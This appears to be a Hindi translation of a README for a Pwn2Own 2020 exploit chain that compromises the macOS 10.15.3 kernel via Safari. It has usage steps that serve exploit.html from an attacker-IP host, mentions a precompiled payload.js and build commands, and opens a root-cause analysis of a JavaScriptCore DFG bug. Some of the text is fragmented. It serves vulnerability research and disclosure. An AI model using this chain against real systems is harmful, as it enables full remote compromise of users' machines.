
छह कमजोरियों को श्रृंखलित करके Safari के माध्यम से macOS Kernel से समझौता करना
इस रिपॉजिटरी में Pwn2Own 2020 में हमारी विजेता प्रस्तुति के शोषण और तकनीकी विवरण शामिल हैं, जो macOS 10.15.3 के लिए कर्नेल विशेषाधिकार वृद्धि के साथ Apple Safari को लक्षित करती है। अधिक जानकारी के लिए, आप हमारी Blackhat USA 2020 स्लाइड्स और वीडियो भी देख सकते हैं। इस रिपॉजिटरी में सफल शोषण के लिए हमारा डेमो वीडियो भी शामिल है।
2. हमलावर सर्वर के IP का उपयोग करके वेबसाइट को Safari के साथ एक्सेस करें:```
http://[attacker_ip]/exploit.html
csrutil status कमांड चलाकर जांच सकते हैं, जो disabled दिखाएगा।आपकी सुविधा के लिए, हमने एक संकलित पेलोड, payload.js प्रदान किया है। लेकिन, यदि आप चाहें, तो आप इसे स्वयं बना सकते हैं। ध्यान दें कि इसमें बहुत अधिक समय लगेगा क्योंकि हम अपने शोषण श्रृंखला के भाग के रूप में WebKit का निर्माण करेंगे। यह ध्यान देने योग्य है कि हमने अपनी निर्माण प्रक्रिया का परीक्षण केवल Mac OS में किया है।```shell
$ python3 -m pip install --user lief $ make
तकनीकी विवरण
-----------------
इस एक्सप्लॉइट को बनाने के लिए, हमने निम्नलिखित *छह* कमजोरियों को श्रृंखलाबद्ध किया।
### 1. 'in' ऑपरेटर के गलत साइड-इफेक्ट मॉडलिंग के कारण JavaScriptCore DFG कंपाइलर में सफारी में रिमोट कोड निष्पादन
- मूल कारण विश्लेषण
JavaScriptCore में, जब 'in' ऑपरेटर के साथ एक अनुक्रमित संपत्ति (indexed property) की क्वेरी की गई,
DFG कंपाइलर मानता है कि यह साइड-इफेक्ट मुक्त है जब तक कि इसकी प्रोटोटाइप श्रृंखला में कोई प्रॉक्सी
ऑब्जेक्ट न हो जो इस ऑपरेशन को इंटरसेप्ट कर सके।
JavaScriptCore एक ऑब्जेक्ट को चिह्नित करता है जो इस अनुक्रमित संपत्ति एक्सेस को इंटरसेप्ट कर सकता है
'MayHaveIndexedAccessors' नामक फ्लैग का उपयोग करके। यह फ्लैग
प्रॉक्सी ऑब्जेक्ट के लिए स्पष्ट रूप से चिह्नित किया जाता है।```javascript
0 in [] // side-effect free
let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect!
हालांकि, एक और ऑब्जेक्ट है जो साइड-इफेक्ट का कारण बन सकता है:
JSHTMLEmbedElement जो अपनी स्वयं की getOwnPropertySlot() विधि लागू करता है। एक
तरीका 'in' ऑपरेटर के साथ JavaScript कॉलबैक (यानी साइड-इफेक्ट) को ट्रिगर करने का है
PDF प्लगइन के साथ <embed> एलिमेंट का उपयोग करना; जब embed / object टैग के DOM ऑब्जेक्ट पर कोई प्रॉपर्टी क्वेरी की जाती है,
तो यह बैक किए गए प्लगइन को लोड करने का प्रयास करता है और
PDF प्लगइन के मामले में DOMSubtreeModified इवेंट हैंडलर को कॉल किया जा सकता है क्योंकि
यह body एलिमेंट पर appendChild विधि का उपयोग करता है।